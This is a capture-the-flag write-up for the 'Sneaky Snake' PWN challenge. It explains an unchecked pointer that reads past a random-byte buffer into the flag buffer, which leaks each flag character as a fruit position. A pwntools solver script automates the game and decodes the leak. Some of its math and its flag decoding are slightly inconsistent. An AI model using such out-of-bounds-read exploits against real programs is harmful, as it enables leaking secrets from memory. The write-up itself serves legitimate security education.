Sneaky Snake
- Category: PWN
Description
The best game ever. CHANGE MY MIND *please insert the flag inside the format:”BSidesTLV2025{}”
Challenge by chengruber
Sources were attached.
Solution
We are provided with a remote terminal-based Snake game. The objective is seemingly to play Snake, but the real goal is to retrieve the flag read into memory at the start of execution.
The vulnerability stems from how stack variables are declared in main.
// snake.c
int main() {
unsigned char rnd[32]; // Buffer of 32 random bytes
unsigned char flag[33]; // The Flag buffer
In the compiled binary, these two arrays are placed adjacent to each other on the stack:
[ rnd[0] ... rnd[31] ] [ flag[0] ... flag[1] ... ]
The game uses a pointer (ptr) to iterate through the rnd array to decide where the next fruit appears.
unsigned char *ptr = rnd; // Initialize to start of random buffer
// ... inside game loop ...
if (snake_eats_fruit) {
ptr++; // <--- VULNERABILITY: No bounds check!
// Calculate new coordinates based on the value pointed to
fruitX = *ptr % WIDTH;
fruitY = (*ptr / WIDTH) % HEIGHT;
}
The Vulnerability: The code incrementally increases ptr every time a fruit is eaten, but it never resets or checks if we’ve reached the end of rnd.
- Fruits 1-32:
ptrreads fromrnd. Positions are random. - Fruit 33+:
ptroverflowsrndand starts reading fromflag.
Exploitation Strategy
Once ptr enters the flag buffer, the position of the fruit on the screen is a direct visual representation of the ASCII characters of the flag.
The game calculates coordinates as:
X = ByteY = (Byte / 40)
Since standard ASCII characters (32-127) fit within this range without collision, we can reverse the math:
Character=(Y×40)+X
Example:
If the fruit appears at X=25, Y=1:
X=25,Y=1:(1×40)+25=65→’A’
But playing manually to eat 32+ fruits without dying is tedious :)
We need a script to:
- Parse the text-based grid to find the Snake Head (‘O’) and Fruit (‘*’).
- Move the snake automatically using simple pathfinding (Manhattan distance).
- Decode the fruit coordinates once we pass the 32nd fruit.
Solution Script
from pwn import *
# Game Config
WIDTH = 40
HEIGHT = 20
def solve():
r = remote('0.cloud.chals.io', 18223)
fruit_eaten_count = 0
leaked_flag = ""
print("[*] Starting Auto-Snake...")
while True:
try:
# Parse the frame
output = r.recvuntil(b"Direction [U | R | D | L]: ").decode()
lines = output.split('\n')
# Find board start (look for top border)
grid_start = -1
for i, line in enumerate(lines):
if '#' * (WIDTH + 2) in line:
grid_start = i + 1
break
if grid_start == -1: continue
# Locate Head and Fruit
head_pos = None
fruit_pos = None
for y in range(HEIGHT):
row = lines[grid_start + y]
if 'O' in row:
head_pos = (row.find('O') - 1, y) # -1 for border
if '*' in row:
fruit_pos = (row.find('*') - 1, y)
if not head_pos or not fruit_pos:
r.sendline(b'U') # Blind move if glitch
continue
# --- Logic: Leak Flag ---
# If we see a new fruit (pos changed) and we are past the buffer
if fruit_eaten_count >= 32:
char_val = (fruit_pos[1] * 40) + fruit_pos[0]
leaked_char = chr(char_val)
# Filter noise
if leaked_char in string.printable:
leaked_flag += leaked_char
print(f"[+] Leaking... {leaked_flag}")
# --- Logic: AI Movement ---
hx, hy = head_pos
fx, fy = fruit_pos
# Simple Manhattan movement
move = ''
if hx < fx: move = 'R'
elif hx > fx: move = 'L'
elif hy < fy: move = 'D'
elif hy > fy: move = 'U'
# Send move
r.sendline(move.encode())
# Check if we ate the fruit (heuristic: distance became 0 previously)
# For this script, we assume successful eat if we overlap next frame
# (Simplified logic: just increment counter roughly)
if abs(hx - fx) + abs(hy - fy) <= 1:
fruit_eaten_count += 1
except EOFError:
break
if __name__ == "__main__":
solve()
Result
The script plays the game. After clearing the initial 32 random fruits, the fruit positions begin to spell out the flag.
Raw Leak: 55uuCChh_44__Sn33aakY_sNNee44Kyy__p001N7eeR_BBrr00
(Note: Characters appear doubled due to game loop rendering speed)
Cleaned Flag:
BSidesTLV2025{5uCh_4_Sn3akY_sNe4Ky_p01N7eR_Br0}